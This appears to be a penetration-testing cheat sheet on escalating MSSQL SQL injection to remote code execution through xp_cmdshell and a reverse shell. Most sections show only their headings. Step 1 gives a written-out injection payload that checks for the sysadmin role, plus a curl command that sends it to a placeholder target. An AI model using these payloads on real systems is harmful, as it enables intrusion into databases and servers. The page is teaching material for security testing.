Remote Code Execution
Overview
Step 1: Verify Permissions
Check sysadmin Role
IS_SRVROLEMEMBER('sysadmin')SQLi Payload
maria' AND IS_SRVROLEMEMBER('sysadmin')=1;--Using cURL
# URL encode
printf %s "maria' AND IS_SRVROLEMEMBER('sysadmin')=1;--" | jq -rR @uri
# Send request
curl -s "http://<TARGET>/api/check-username.php?u=maria'%20AND%20IS_SRVROLEMEMBER('sysadmin')%3D1%3B--"Step 2: Enable xp_cmdshell
Enable Advanced Options First
Enable xp_cmdshell
Step 3: Test Command Execution
Ping Test
Verify with tcpdump
Step 4: Get Reverse Shell
PowerShell Payload
Encode Payload (Base64 UTF-16LE)
Final SQLi Payload
Attack Setup
1. Download nc.exe
2. Start HTTP Server
3. Start Netcat Listener
4. Send Payload
5. Receive Shell
Complete Attack Chain
URL Encoding Helper
PowerShell Encoding
Why Encode?
Encoding Steps
One-liner Template
Alternative: Raikia's Hub
xp_cmdshell Reference
Default Execution Context
Alternative Shells
Troubleshooting
xp_cmdshell Not Working
Reverse Shell Not Connecting
Permission Denied
Quick Reference
Enable xp_cmdshell
Execute Command
Check Permissions
Last updated